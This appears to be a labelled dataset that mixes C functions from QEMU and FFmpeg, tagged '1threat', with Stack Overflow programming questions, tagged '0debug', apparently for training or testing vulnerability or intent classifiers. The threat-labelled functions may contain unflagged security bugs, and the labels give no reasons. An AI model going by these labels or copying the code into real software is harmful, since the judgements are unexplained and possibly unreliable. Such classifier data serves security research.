static hwaddr ppc_hash64_pteg_search(PowerPCCPU *cpu, hwaddr hash, ppc_slb_t *slb, bool secondary, target_ulong ptem, ppc_hash_pte64_t *pte) { CPUPPCState *env = &cpu->env; int i; uint64_t token; target_ulong pte0, pte1; target_ulong pte_index; pte_index = (hash & env->htab_mask) * HPTES_PER_GROUP; token = ppc_hash64_start_access(cpu, pte_index); if (!token) { return -1; } for (i = 0; i < HPTES_PER_GROUP; i++) { pte0 = ppc_hash64_load_hpte0(cpu, token, i); pte1 = ppc_hash64_load_hpte1(cpu, token, i); if ((pte0 & HPTE64_V_VALID) && (secondary == !!(pte0 & HPTE64_V_SECONDARY)) && HPTE64_V_COMPARE(pte0, ptem)) { unsigned pshift = hpte_page_shift(slb->sps, pte0, pte1); if (pshift == 0) { continue; } pte->pte0 = pte0; pte->pte1 = pte1; ppc_hash64_stop_access(cpu, token); return (pte_index + i) * HASH_PTE_SIZE_64; } } ppc_hash64_stop_access(cpu, token); return -1; }
1threat
Automatic self-configuration of an etcd cluster as a Docker swarm service : <p>I want to find a way to deploy an etcd cluster as a Docker Swarm service that would automatically configure itself without any interaction. Basically, I think of something in spirit of this command: </p> <pre><code>docker service create --name etcd --replicas 3 my-custom-image/etcd </code></pre> <p>I'm assuming that overlay network is configured to be secure and provide both encryption and authentication, so I believe I don't need TLS, not even <code>--auto-tls</code>. Don't want an extra headache finding a way to provision the certificates, when this can be solved on the another layer.</p> <p>I need an unique <code>--name</code> for each instance, but I can get that from an entrypoint script that would use <code>export ETCD_NAME=$(hostname --short)</code>.</p> <p>The problem is, I'm stuck on initial configuration. Based on the <a href="https://coreos.com/etcd/docs/latest/op-guide/clustering.html" rel="noreferrer">clustering guide</a> there are three options, but none seems to fit:</p> <ul> <li>The DNS discovery scenario is closest to what I'm looking for, but Docker <a href="https://github.com/moby/moby/issues/24605" rel="noreferrer">doesn't support DNS SRV records</a> discovery at the moment. I can lookup <code>etcd</code> and I will get all the IPs of my nodes' containers, but there are no <code>_etcd-server._tcp</code> records.</li> <li>I cannot automatically build <code>ETCD_INITIAL_CLUSTER</code> because while I know the IPs, I don't know the names of the other nodes and I'm not aware about any way to figure those out. (I'm not going to expose Docker API socket to etcd container for this.)</li> <li>There is no preexisting etcd cluster, and while supplying the initial configuration URI from discovery.etcd.io is a possible workaround I'm interested in not doing this. I'm aiming for "just deploy a stack from this <code>docker-compose.yml</code> and it'll automatically do the right thing, no questions asked" no-brainer scenario.</li> </ul> <p>Is there any trick I can pull?</p>
0debug
static int do_fork(CPUArchState *env, unsigned int flags, abi_ulong newsp, abi_ulong parent_tidptr, target_ulong newtls, abi_ulong child_tidptr) { CPUState *cpu = ENV_GET_CPU(env); int ret; TaskState *ts; CPUState *new_cpu; CPUArchState *new_env; sigset_t sigmask; if (flags & CLONE_VFORK) flags &= ~(CLONE_VFORK | CLONE_VM); if (flags & CLONE_VM) { TaskState *parent_ts = (TaskState *)cpu->opaque; new_thread_info info; pthread_attr_t attr; ts = g_new0(TaskState, 1); init_task_state(ts); new_env = cpu_copy(env); cpu_clone_regs(new_env, newsp); new_cpu = ENV_GET_CPU(new_env); new_cpu->opaque = ts; ts->bprm = parent_ts->bprm; ts->info = parent_ts->info; ts->signal_mask = parent_ts->signal_mask; if (flags & CLONE_CHILD_CLEARTID) { ts->child_tidptr = child_tidptr; } if (flags & CLONE_SETTLS) { cpu_set_tls (new_env, newtls); } pthread_mutex_lock(&clone_lock); memset(&info, 0, sizeof(info)); pthread_mutex_init(&info.mutex, NULL); pthread_mutex_lock(&info.mutex); pthread_cond_init(&info.cond, NULL); info.env = new_env; if (flags & CLONE_CHILD_SETTID) { info.child_tidptr = child_tidptr; } if (flags & CLONE_PARENT_SETTID) { info.parent_tidptr = parent_tidptr; } ret = pthread_attr_init(&attr); ret = pthread_attr_setstacksize(&attr, NEW_STACK_SIZE); ret = pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED); sigfillset(&sigmask); sigprocmask(SIG_BLOCK, &sigmask, &info.sigmask); ret = pthread_create(&info.thread, &attr, clone_func, &info); sigprocmask(SIG_SETMASK, &info.sigmask, NULL); pthread_attr_destroy(&attr); if (ret == 0) { pthread_cond_wait(&info.cond, &info.mutex); ret = info.tid; } else { ret = -1; } pthread_mutex_unlock(&info.mutex); pthread_cond_destroy(&info.cond); pthread_mutex_destroy(&info.mutex); pthread_mutex_unlock(&clone_lock); } else { if ((flags & ~(CSIGNAL | CLONE_NPTL_FLAGS2)) != 0) { return -TARGET_EINVAL; } if (block_signals()) { return -TARGET_ERESTARTSYS; } fork_start(); ret = fork(); if (ret == 0) { rcu_after_fork(); cpu_clone_regs(env, newsp); fork_end(1); if (flags & CLONE_CHILD_SETTID) put_user_u32(gettid(), child_tidptr); if (flags & CLONE_PARENT_SETTID) put_user_u32(gettid(), parent_tidptr); ts = (TaskState *)cpu->opaque; if (flags & CLONE_SETTLS) cpu_set_tls (env, newtls); if (flags & CLONE_CHILD_CLEARTID) ts->child_tidptr = child_tidptr; } else { fork_end(0); } } return ret; }
1threat
static int vnc_set_x509_credential_dir(VncDisplay *vs, const char *certdir) { if (vnc_set_x509_credential(vs, certdir, X509_CA_CERT_FILE, &vs->x509cacert, 0) < 0) goto cleanup; if (vnc_set_x509_credential(vs, certdir, X509_CA_CRL_FILE, &vs->x509cacrl, 1) < 0) goto cleanup; if (vnc_set_x509_credential(vs, certdir, X509_SERVER_CERT_FILE, &vs->x509cert, 0) < 0) goto cleanup; if (vnc_set_x509_credential(vs, certdir, X509_SERVER_KEY_FILE, &vs->x509key, 0) < 0) goto cleanup; return 0; cleanup: qemu_free(vs->x509cacert); qemu_free(vs->x509cacrl); qemu_free(vs->x509cert); qemu_free(vs->x509key); vs->x509cacert = vs->x509cacrl = vs->x509cert = vs->x509key = NULL; return -1; }
1threat
I got an idex: 10; from terminal of vs code : I was studying regex in javascript . my ide is vs cde and suddenly i got a reply from terminal " [ 'xyz', index: 10, input: 'this is a xyz test' ]" . what i did was "console.log(value.match(pattern));" and my other code was " let pattern = /xyz/; let value = 'this is a xyz test';". I want to know what does index : 10, means in the console given by vs code ? I don't even have an idea what to search for.
0debug
static void term_up_char(void) { int idx; if (term_hist_entry == 0) return; if (term_hist_entry == -1) { for (idx = 0; idx < TERM_MAX_CMDS; idx++) { if (term_history[idx] == NULL) break; } term_hist_entry = idx; } term_hist_entry--; if (term_hist_entry >= 0) { strcpy(term_cmd_buf, term_history[term_hist_entry]); term_printf("\n"); term_print_cmdline(term_cmd_buf); term_cmd_buf_index = term_cmd_buf_size = strlen(term_cmd_buf); } }
1threat
static void dec_load(DisasContext *dc) { TCGv t, *addr; unsigned int size; size = 1 << (dc->opcode & 3); LOG_DIS("l %x %d\n", dc->opcode, size); t_sync_flags(dc); addr = compute_ldst_addr(dc, &t); sync_jmpstate(dc); if ((dc->env->pvr.regs[2] & PVR2_UNALIGNED_EXC_MASK) && size > 1) { gen_helper_memalign(*addr, tcg_const_tl(dc->rd), tcg_const_tl(0), tcg_const_tl(size)); } if (dc->rd) { gen_load(dc, cpu_R[dc->rd], *addr, size); } else { gen_load(dc, env_imm, *addr, size); } if (addr == &t) tcg_temp_free(t); }
1threat
JSON formatted logging with Flask and gunicorn : <p>I am trying to do something very similar to what's explained here: <a href="https://sebest.github.io/post/protips-using-gunicorn-inside-a-docker-image/" rel="noreferrer">https://sebest.github.io/post/protips-using-gunicorn-inside-a-docker-image/</a></p> <p>I want to get my Flask app + gunicorn both outputting JSON formatted logging. I've got this working for the Flask app, but I can't seem to get it working with gunicorn.</p> <p>Here's my current output:</p> <pre><code> * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit) * Restarting with stat * Debugger is active! * Debugger pin code: 317-187-130 192.168.99.1 - - [12/Jan/2016 20:09:29] "GET /nothing HTTP/1.1" 404 - {"asctime": "2016-01-12 20:20:25,541", "levelname": "WARNING", "module": "app", "funcName": "err", "lineno": 17, "message": "will assert false..."} 192.168.99.1 - - [12/Jan/2016 20:20:25] "GET /err HTTP/1.1" 500 - </code></pre> <p>The line that begins <code>{"asctime":</code> is the output of the code <code>app.logger.warning('will assert false...')</code> which is being correctly logged as JSON. Yay. The lines that begin with <code>192.168.99.1</code> are output from my gunicorn WSGI server and, frustratingly, they are not JSON formatted.</p> <p>Here's the command I am using to start gunicorn:</p> <pre><code>gunicorn --log-config gunicorn_logging.conf -c gunicorn_config.py api.app:app </code></pre> <p>where the <code>gunicorn_logging.conf</code> file contains:</p> <pre><code>[loggers] keys=root, gunicorn.error [handlers] keys=console [formatters] keys=json [logger_root] level=INFO handlers=console [logger_gunicorn.error] level=ERROR handlers=console propagate=0 qualname=gunicorn.error [handler_console] class=StreamHandler formatter=json args=(sys.stdout, ) [formatter_json] class=jsonlogging.JSONFormatter </code></pre> <p>and the file <code>gunicorn_config.py</code> contains:</p> <pre class="lang-python prettyprint-override"><code>import os import multiprocessing addr = os.environ.get('HTTP_ADDR', '0.0.0.0') port = os.environ.get('HTTP_PORT', '5000') loglevel = os.environ.get('LOG_LEVEL', 'info') bind = '{0}:{1}'.format(addr, port) workers = multiprocessing.cpu_count() * 5 + 1 worker_class = 'gevent' timeout = 0 </code></pre> <p>Here's the output of <code>pip freeze</code>:</p> <pre><code>aniso8601==1.1.0 coverage==4.0.3 flake8==2.5.1 Flask==0.10.1 Flask-MySQLdb==0.2.0 Flask-RESTful==0.3.5 Flask-Script==2.0.5 gevent==1.1rc3 greenlet==0.4.9 gunicorn==19.4.5 itsdangerous==0.24 Jinja2==2.8 json-logging-py==0.2 MarkupSafe==0.23 marshmallow==2.4.2 mccabe==0.3.1 mysqlclient==1.3.7 nose==1.3.7 pep8==1.5.7 pyflakes==1.0.0 python-dateutil==2.4.2 python-json-logger==0.1.4 pytz==2015.7 six==1.10.0 SQLAlchemy==1.0.11 Werkzeug==0.11.3 </code></pre>
0debug
i have a tabel and i what colored red : https://i.stack.imgur.com/qFt8X.png - what i have https://i.stack.imgur.com/xkSqT.png - what i need i want code for color tabel red. i know is not hard.. but can you help me guys please? i try to search on internet and nothing good. i find only how to background the table. and i dont know what i need to say more..
0debug
static int aac_decode_frame_int(AVCodecContext *avctx, void *data, int *got_frame_ptr, GetBitContext *gb, AVPacket *avpkt) { AACContext *ac = avctx->priv_data; ChannelElement *che = NULL, *che_prev = NULL; enum RawDataBlockType elem_type, che_prev_type = TYPE_END; int err, elem_id; int samples = 0, multiplier, audio_found = 0, pce_found = 0; int is_dmono, sce_count = 0; int payload_alignment; ac->frame = data; if (show_bits(gb, 12) == 0xfff) { if ((err = parse_adts_frame_header(ac, gb)) < 0) { av_log(avctx, AV_LOG_ERROR, "Error decoding AAC frame header.\n"); goto fail; } if (ac->oc[1].m4ac.sampling_index > 12) { av_log(ac->avctx, AV_LOG_ERROR, "invalid sampling rate index %d\n", ac->oc[1].m4ac.sampling_index); err = AVERROR_INVALIDDATA; goto fail; } } if ((err = frame_configure_elements(avctx)) < 0) goto fail; ac->avctx->profile = ac->oc[1].m4ac.object_type - 1; payload_alignment = get_bits_count(gb); ac->tags_mapped = 0; while ((elem_type = get_bits(gb, 3)) != TYPE_END) { elem_id = get_bits(gb, 4); if (avctx->debug & FF_DEBUG_STARTCODE) av_log(avctx, AV_LOG_DEBUG, "Elem type:%x id:%x\n", elem_type, elem_id); if (!avctx->channels && elem_type != TYPE_PCE) { err = AVERROR_INVALIDDATA; goto fail; } if (elem_type < TYPE_DSE) { if (!(che=get_che(ac, elem_type, elem_id))) { av_log(ac->avctx, AV_LOG_ERROR, "channel element %d.%d is not allocated\n", elem_type, elem_id); err = AVERROR_INVALIDDATA; goto fail; } samples = 1024; che->present = 1; } switch (elem_type) { case TYPE_SCE: err = decode_ics(ac, &che->ch[0], gb, 0, 0); audio_found = 1; sce_count++; break; case TYPE_CPE: err = decode_cpe(ac, gb, che); audio_found = 1; break; case TYPE_CCE: err = decode_cce(ac, gb, che); break; case TYPE_LFE: err = decode_ics(ac, &che->ch[0], gb, 0, 0); audio_found = 1; break; case TYPE_DSE: err = skip_data_stream_element(ac, gb); break; case TYPE_PCE: { uint8_t layout_map[MAX_ELEM_ID*4][3]; int tags; push_output_configuration(ac); tags = decode_pce(avctx, &ac->oc[1].m4ac, layout_map, gb, payload_alignment); if (tags < 0) { err = tags; break; } if (pce_found) { av_log(avctx, AV_LOG_ERROR, "Not evaluating a further program_config_element as this construct is dubious at best.\n"); pop_output_configuration(ac); } else { err = output_configure(ac, layout_map, tags, OC_TRIAL_PCE, 1); if (!err) ac->oc[1].m4ac.chan_config = 0; pce_found = 1; } break; } case TYPE_FIL: if (elem_id == 15) elem_id += get_bits(gb, 8) - 1; if (get_bits_left(gb) < 8 * elem_id) { av_log(avctx, AV_LOG_ERROR, "TYPE_FIL: "overread_err); err = AVERROR_INVALIDDATA; goto fail; } while (elem_id > 0) elem_id -= decode_extension_payload(ac, gb, elem_id, che_prev, che_prev_type); err = 0; break; default: err = AVERROR_BUG; break; } if (elem_type < TYPE_DSE) { che_prev = che; che_prev_type = elem_type; } if (err) goto fail; if (get_bits_left(gb) < 3) { av_log(avctx, AV_LOG_ERROR, overread_err); err = AVERROR_INVALIDDATA; goto fail; } } if (!avctx->channels) { *got_frame_ptr = 0; return 0; } multiplier = (ac->oc[1].m4ac.sbr == 1) ? ac->oc[1].m4ac.ext_sample_rate > ac->oc[1].m4ac.sample_rate : 0; samples <<= multiplier; spectral_to_sample(ac, samples); if (ac->oc[1].status && audio_found) { avctx->sample_rate = ac->oc[1].m4ac.sample_rate << multiplier; avctx->frame_size = samples; ac->oc[1].status = OC_LOCKED; } if (multiplier) avctx->internal->skip_samples_multiplier = 2; if (!ac->frame->data[0] && samples) { av_log(avctx, AV_LOG_ERROR, "no frame data found\n"); err = AVERROR_INVALIDDATA; goto fail; } if (samples) { ac->frame->nb_samples = samples; ac->frame->sample_rate = avctx->sample_rate; } else av_frame_unref(ac->frame); *got_frame_ptr = !!samples; is_dmono = ac->dmono_mode && sce_count == 2 && ac->oc[1].channel_layout == (AV_CH_FRONT_LEFT | AV_CH_FRONT_RIGHT); if (is_dmono) { if (ac->dmono_mode == 1) ((AVFrame *)data)->data[1] =((AVFrame *)data)->data[0]; else if (ac->dmono_mode == 2) ((AVFrame *)data)->data[0] =((AVFrame *)data)->data[1]; } return 0; fail: pop_output_configuration(ac); return err; }
1threat
void ioinst_handle_ssch(S390CPU *cpu, uint64_t reg1, uint32_t ipb) { int cssid, ssid, schid, m; SubchDev *sch; ORB orig_orb, orb; uint64_t addr; int ret = -ENODEV; int cc; CPUS390XState *env = &cpu->env; uint8_t ar; addr = decode_basedisp_s(env, ipb, &ar); if (addr & 3) { program_interrupt(env, PGM_SPECIFICATION, 4); return; } if (s390_cpu_virt_mem_read(cpu, addr, ar, &orig_orb, sizeof(orb))) { return; } copy_orb_from_guest(&orb, &orig_orb); if (ioinst_disassemble_sch_ident(reg1, &m, &cssid, &ssid, &schid) || !ioinst_orb_valid(&orb)) { program_interrupt(env, PGM_OPERAND, 4); return; } trace_ioinst_sch_id("ssch", cssid, ssid, schid); sch = css_find_subch(m, cssid, ssid, schid); if (sch && css_subch_visible(sch)) { ret = css_do_ssch(sch, &orb); } switch (ret) { case -ENODEV: cc = 3; break; case -EBUSY: cc = 2; break; case -EFAULT: program_interrupt(env, PGM_ADDRESSING, 4); return; case 0: cc = 0; break; default: cc = 1; break; } setcc(cpu, cc); }
1threat
old and boring nameerror: device is not defined : i know there are a lot of people asking a similar question and i also understand what the answers are trying to say but no matter what i try,it just doesnt work. someone help! here is my code (well a shorter version) import random ##opening all the files and reading them line by line. file_1 = open("devices.txt","r") read_1 = file_1.readlines() file_2 = open("phones.txt","r") read_2 = file_2.readlines() def choose_device():##creating function device = input(read_1[0]).lower()##asking the user by printing a question from file_1 if device == "phone" or device == "phones" or device == "smartphone" or device == "smartphones" or device == "1": brand = input(read_2[0]) if brand == "samsung": version = input(read_2[1]) raw_memory = input(read_2[4]) solution_for_phones() elif brand == "iphone": version = input(read_2[2]) raw_memory = input(read_2[4]) solution_for_phones() elif brand == "sony": version = input(read_2[3]) raw_memory = input(read_2[4]) solution_for_phones() else: print(read_2[5]) do_again()##restart def solution_for_phones(): datadict = {} ##creating a dictionary with open('phonesolution.txt') as file: ##opening file for rec in file: ##looping through every line rec = rec.split(':') ##delimiter is : problem = rec[0] ##first values before the delimiter are saved as problems answer = rec[1] ##second values after the delimiter are saved as answers problem = problem.split(" ") ##problems is further split by the delimiter "space" for item in problem: ##every word in the problem section is assigned to an answer datadict[item] = answer user_problem = input('What is the problem?: ')##asking the user where the problem is split_answer = user_problem.split(" ")##splitting the users answer into separate words for option in datadict.keys(): if option in split_answer:##mathcing the users answer to keywords in the problem print(datadict[option]) else: CaseNo = (random.randrange(100000,999999)) print (CaseNo) ReportFile = open('not_found.txt', 'a') ReportFile.write ("\n"+"-------------------------------------------") ReportFile.write ("\n"+"Case No is : "+str(CaseNo)) ReportFile.write ("\n"+"Case No is : "+(device)) ReportFile.close do_again() and here is the error message. anybody knows how to fix it? welcome to our trouble shooting system what device do you have a problem with? (these are the options:1.smartphones, 2.laptops, 3.game consoles) smartphones what brand is your phone? (eg: samsung, iphone) samsung what version is your samsung? (eg:J3, S7 edge) J3 what is the memory size? (eg:8g, 16gb) 8 What is the problem?: vZrfvSZ 109451 Traceback (most recent call last): File "C:\Users\hp\Downloads\A453\task 3\mine\task 3 just for practice.py", line 156, in <module> choose_device()##calling the function File "C:\Users\hp\Downloads\A453\task 3\mine\task 3 just for practice.py", line 110, in choose_device solution_for_phones() File "C:\Users\hp\Downloads\A453\task 3\mine\task 3 just for practice.py", line 58, in solution_for_phones ReportFile.write ("\n"+"Case No is : "+(device)) NameError: name 'device' is not defined
0debug
static inline void iwmmxt_load_reg(TCGv var, int reg) { tcg_gen_ld_i64(var, cpu_env, offsetof(CPUState, iwmmxt.regs[reg])); }
1threat
Why do I need rebinding/shadowing when I can have mutable variable binding? : <p>Why do I need rebinding/shadowing when I can have mutable variable binding? Consider:</p> <pre><code>let x = a(); let x = b(x); </code></pre> <p>vs.</p> <pre><code>let mut x = a(); x = b(x); </code></pre> <p>Mutable variable binding allows a mutable borrow of that variable over this. But does shadowing have some advantages over mutable bindings?</p>
0debug
static uint16_t dummy_section(MemoryRegion *mr) { MemoryRegionSection section = { .mr = mr, .offset_within_address_space = 0, .offset_within_region = 0, .size = int128_2_64(), }; return phys_section_add(&section); }
1threat
String methods with higher-order functions : <p>I ran into a weird thing while trying to use String methods with higher-order functions. This will throw an error:</p> <pre><code>['a', 'b'].some('boo'.includes) </code></pre> <p>I have to wrap the predicate in another function to make it work. But isn't <code>'boo'.includes</code> already a function?</p> <p>This works with plain functions:</p> <pre><code>const boo = { includes: () =&gt; true }; ['a', 'b'].some(boo.includes) </code></pre> <p>Is there some special property of String methods that prevents them from being composed like this?</p>
0debug
php code inside divs inside a php array : <p>Hi guys sorry for the bad english :) i have this code below that echo the some divs defined inside the array i want to include a php page (example below ) inside those divs : </p> <pre><code>&lt;?php $items =array( '&lt;div id="o-31" class="col-sm-6 col-md-4 col-lg-3" &gt; &lt;div id="mydid" &gt; &lt;/div&gt;&lt;/div&gt;', '&lt;div id="o-36" class="col-sm-6 col-md-4 col-lg-3" &gt;&lt;div class="demo-content bg-alt" &gt;.col-sm-8&lt;/div&gt;&lt;/div&gt;', '&lt;div id="o-37" class="col-sm-6 col-md-4 col-lg-3" &gt;&lt;div class="demo-content bg-alt" &gt;.col-sm-8&lt;/div&gt;&lt;/div&gt;', '&lt;div id="o-38" class="col-sm-6 col-md-4 col-lg-3"&gt;&lt;div id="mydid" &gt; &lt;/div&gt;&lt;/div&gt;' ); ?&gt; &lt;?php for($i = 0; $i &lt;= 3; $i++){ echo $items[$i]; } ?&gt; </code></pre> <p>i cant see how i can add a php code inside the div i tried : </p> <pre><code> '&lt;div id="o-31" class="col-sm-6 col-md-4 col-lg-3" &gt; &lt;div id="mydid" &gt; &lt;?php $ccc= "ff"; $tablelink2=$_SESSION['hes_2']; $tabletitle2=$_SESSION['hes_1']; $tableimg2= $_SESSION['hes_3']; include('hes_2.php'); ?&gt; &lt;/div&gt;&lt;/div&gt;', </code></pre> <p>and </p> <pre><code>'&lt;div id="o-31" class="col-sm-6 col-md-4 col-lg-3" &gt; &lt;div id="mydid" &gt;' &lt;?php $ccc= "ff"; $tablelink2=$_SESSION['hes_2']; $tabletitle2=$_SESSION['hes_1']; $tableimg2= $_SESSION['hes_3']; include('hes_2.php'); ?&gt; '&lt;/div&gt;&lt;/div&gt;', </code></pre> <p>also not working :( ? </p>
0debug
SDState *sd_init(BlockDriverState *bs, bool is_spi) { SDState *sd; if (bs && bdrv_is_read_only(bs)) { fprintf(stderr, "sd_init: Cannot use read-only drive\n"); return NULL; } sd = (SDState *) g_malloc0(sizeof(SDState)); sd->buf = qemu_blockalign(bs, 512); sd->spi = is_spi; sd->enable = true; sd_reset(sd, bs); if (sd->bdrv) { bdrv_attach_dev_nofail(sd->bdrv, sd); bdrv_set_dev_ops(sd->bdrv, &sd_block_ops, sd); } vmstate_register(NULL, -1, &sd_vmstate, sd); return sd; }
1threat
how to edit frontend without plugins in wordpress? : I have a WP website with template files having static html content but now I need that content to be editable from WP backend. I am aware about the_content and custom fields but the content that we have is not at one fixed place so can we have a front-end edit button after every content area in a page on click of which a popup with content editor will open and I can edit and update that content. I
0debug
how to access history object in new React Router v4 : <p>I have tried all the suggested ways in other threads and it is still not working which is why I am posting the question.</p> <p>So I have <code>history.js</code> looking like this</p> <pre><code>import { createBrowserHistory } from 'history'; export default createBrowserHistory; </code></pre> <p>My <code>index.js</code></p> <pre><code>render(( &lt;Router history={history}&gt; &lt;div&gt; &lt;Route component={App}/&gt; &lt;/div&gt; &lt;/Router&gt; ), document.getElementById('root') ); </code></pre> <p><code>Home.js</code> Looks like this</p> <pre><code>class Home extends Component { handleSubmit(e) { e.preventDefault(); let teacherName = e.target.elements[0].value; let teacherTopic = e.target.elements[1].value; let path = `/featured/${teacherName}/${teacherTopic}`; history.push(path); } render() { return ( &lt;div className="main-content home"&gt; &lt;hr /&gt; &lt;h3&gt;Featured Teachers&lt;/h3&gt; &lt;form onSubmit={this.handleSubmit}&gt; &lt;input type="text" placeholder="Name"/&gt; &lt;input type="text" placeholder="Topic"/&gt; &lt;button type="submit"&gt; Submit &lt;/button&gt; &lt;/form&gt; &lt;/div&gt; ); } } export default Home; </code></pre> <p>Home.js is actually routed in app.js which is routed in index.js.</p> <p>The problem is that I cannot access history object anywhere.</p> <p>The ways I have tried are as below</p> <p>1) <code>this.context.history.push(path)</code> in home.js - cannot access context of undefined</p> <p>2) <code>this.props.history.push(path)</code> in home.js - cannot access props of undefined</p> <p>3) <code>browserHistory.push(path)</code> in index.js - this is deprecated now</p> <p>4) the way above - _history2.default.push is not a function</p> <p>None of the methods that I have tried above works. The second was the strangest as I should be able to access history object as props anywhere according to the documentation <a href="https://reacttraining.com/react-router/web/api/Route/Route-render-methods" rel="noreferrer">https://reacttraining.com/react-router/web/api/Route/Route-render-methods</a></p> <p>I know the previous v2 or v3 way of accessing history is also deprecated.</p> <p>So can someone who knows how to access history object in React Router v4 answer this question? Thanks.</p>
0debug
uint64_t helper_cmpbge(uint64_t op1, uint64_t op2) { #if defined(__SSE2__) uint64_t r; { typedef uint64_t Q __attribute__((vector_size(16))); typedef uint8_t B __attribute__((vector_size(16))); Q q1 = (Q){ op1, 0 }; Q q2 = (Q){ op2, 0 }; q1 = (Q)((B)q1 >= (B)q2); r = q1[0]; } r &= 0x0101010101010101; r |= r >> (8 - 1); r |= r >> (16 - 2); r |= r >> (32 - 4); return r & 0xff; #else uint8_t opa, opb, res; int i; res = 0; for (i = 0; i < 8; i++) { opa = op1 >> (i * 8); opb = op2 >> (i * 8); if (opa >= opb) { res |= 1 << i; } } return res; #endif }
1threat
What is the Angular4 "Change" event trigger directive in Textarea : <p>Here is one of the versions that I tried INSIDE TEXTAREA: (change)="dosomething($event)"</p> <p>and it's not doing anything. What is the directive for "change"?</p>
0debug
Spark: Convert column of string to an array : <p>How to convert a column that has been read as a string into a column of arrays? i.e. convert from below schema</p> <pre><code>scala&gt; test.printSchema root |-- a: long (nullable = true) |-- b: string (nullable = true) +---+---+ | a| b| +---+---+ | 1|2,3| +---+---+ | 2|4,5| +---+---+ </code></pre> <p>To: </p> <pre><code>scala&gt; test1.printSchema root |-- a: long (nullable = true) |-- b: array (nullable = true) | |-- element: long (containsNull = true) +---+-----+ | a| b | +---+-----+ | 1|[2,3]| +---+-----+ | 2|[4,5]| +---+-----+ </code></pre> <p>Please share both scala and python implementation if possible. On a related note, how do I take care of it while reading from the file itself? I have data with ~450 columns and few of them I want to specify in this format. Currently I am reading in pyspark as below:</p> <pre><code>df = spark.read.format('com.databricks.spark.csv').options( header='true', inferschema='true', delimiter='|').load(input_file) </code></pre> <p>Thanks.</p>
0debug
docker-compose.yml for elasticsearch 7.0.1 and kibana 7.0.1 : <p>I am using Docker Desktop with linux containers on Windows 10 and would like to launch the latest versions of the elasticsearch and kibana containers over a docker compose file.</p> <p>Everything works fine when using some older version like 6.2.4.</p> <p>This is the working docker-compose.yml file for 6.2.4.</p> <pre><code>version: '3.1' services: elasticsearch: image: docker.elastic.co/elasticsearch/elasticsearch:6.2.4 container_name: elasticsearch ports: - "9200:9200" volumes: - elasticsearch-data:/usr/share/elasticsearch/data networks: - docker-network kibana: image: docker.elastic.co/kibana/kibana:6.2.4 container_name: kibana ports: - "5601:5601" depends_on: - elasticsearch networks: - docker-network networks: docker-network: driver: bridge volumes: elasticsearch-data: </code></pre> <p>I deleted all installed docker containers and adapted the docker-compose.yml file by changing 6.2.4 to 7.0.1. By starting the new compose file everything looks fine, both the elasticsearch and kibana containers are started. But after a couple of seconds the elasticsearch container exits (the kibana container is running further). I restarted everything, attached a terminal to the elasticsearch container and saw the following error message:</p> <pre><code>... ERROR: [1] bootstrap checks failed [1]: the default discovery settings are unsuitable for production use; at least one of [discovery.seed_hosts, discovery.seed_providers, cluster.initial_master_nodes] must be configured ... </code></pre> <p>What must be changed in the docker-compose.yml file to get elasticsearch 7.0.1 working?</p>
0debug
Is there an alternate way instead of Exceptional handling to handle exceptions? : import java.sql.SQLException; public class JDBC { public void create(User user) throws SQLException { try ( Connection connection = dataSource.getCon nection(); PreparedStatement statement = connection.prepareStatement(SQL_INSERT, Statement.RETURN_GENERATED_KEYS); ) { statement.setString(1, user.getName()); statement.setString(2, user.getPassword()); statement.setString(3, user.getEmail()); // ... int affectedRows = statement.executeUpdate(); if (affectedRows == 0) { throw new SQLException("Creating user failed, no rows affected."); } try (ResultSet generatedKeys = statement.getGeneratedKeys()) { if (generatedKeys.next()) { user.setId(generatedKeys.getLong(1)); } else { throw new SQLException("Creating user failed, no ID obtained."); } } } } }
0debug
Android BiometricPrompt Compat library : <p>Hi as mention in <a href="https://android-developers.googleblog.com/2018/06/better-biometrics-in-android-p.html" rel="noreferrer">this</a> post there is <strong>BiometricPrompt API</strong> for devices supporting Android O and lower but I am unable to find out <strong>BiometricPrompt Compat Library</strong> (as mention in image), is anyone able to help me to point out where is that support library, any link or guide?<a href="https://i.stack.imgur.com/wNUuK.png" rel="noreferrer"><img src="https://i.stack.imgur.com/wNUuK.png" alt="enter image description here"></a></p>
0debug
Why is var x = x = x || {} more thorough than var x = x || {}? : <p>In my endeavour to write clean Javascript code as a beginner, I was recently reading <a href="https://addyosmani.com/blog/essential-js-namespacing/" rel="noreferrer">this article</a> about namespacing in JavaScript when I stumbled upon this paragraph:</p> <blockquote> <p>The code at the very top of the next sample demonstrates the different ways in which you can check to see if a variable (object namespace) already exists before defining it. You'll commonly see developers using Option 1, however Options 3 and 5 may be considered more thorough and Option 4 is considered a good best-practice.</p> <pre><code>// This doesn't check for existence of 'myApplication' in // the global namespace. Bad practice as you can easily // clobber an existing variable/namespace with the same name var myApplication = {}; /* The following options *do* check for variable/namespace existence. If already defined, we use that instance, otherwise we assign a new object literal to myApplication. Option 1: var myApplication = myApplication || {}; Option 2 if(!MyApplication) MyApplication = {}; Option 3: var myApplication = myApplication = myApplication || {} Option 4: myApplication || (myApplication = {}); Option 5: var myApplication = myApplication === undefined ? {} : myApplication; */ </code></pre> </blockquote> <p><strong>Option 1</strong> is certainly the one I have seen used most of the time, and I understand it well.</p> <p><strong>Option 2</strong> is fine but seems to lack a <code>var myApplication</code> beforehand or a <code>if(!window.myApplication)</code> otherwise if <code>myApplication</code> is not in the global scope the condition <code>if(!myApplication)</code> would throw an error, wouldn't it?</p> <p><strong>Option 3</strong> is the one I have trouble with: my understanding is that the <code>myApplication = myApplication</code> is executed first, with <code>myApplication</code> in the global scope (due to the <code>var</code> at the begining). My problem is that I can't think of a case where this option does anything more than option 1.</p> <p><strong>Option 4</strong> in my eyes would have been better written <code>window.myApplication || (myApplication = {})</code> to avoid throwing an error if <code>myApplication</code> is not in the global scope.</p> <p><strong>Option 5</strong> is excluding the false-y values other than <code>undefined</code> but is it a good idea? If <code>myApplication</code> is say an empty string, the rest of the code is likely to fail, isn't it?</p> <p>Would someone be able to shed some light on the differences between the different options and in particular explain why option 3 is described as more thorough?</p>
0debug
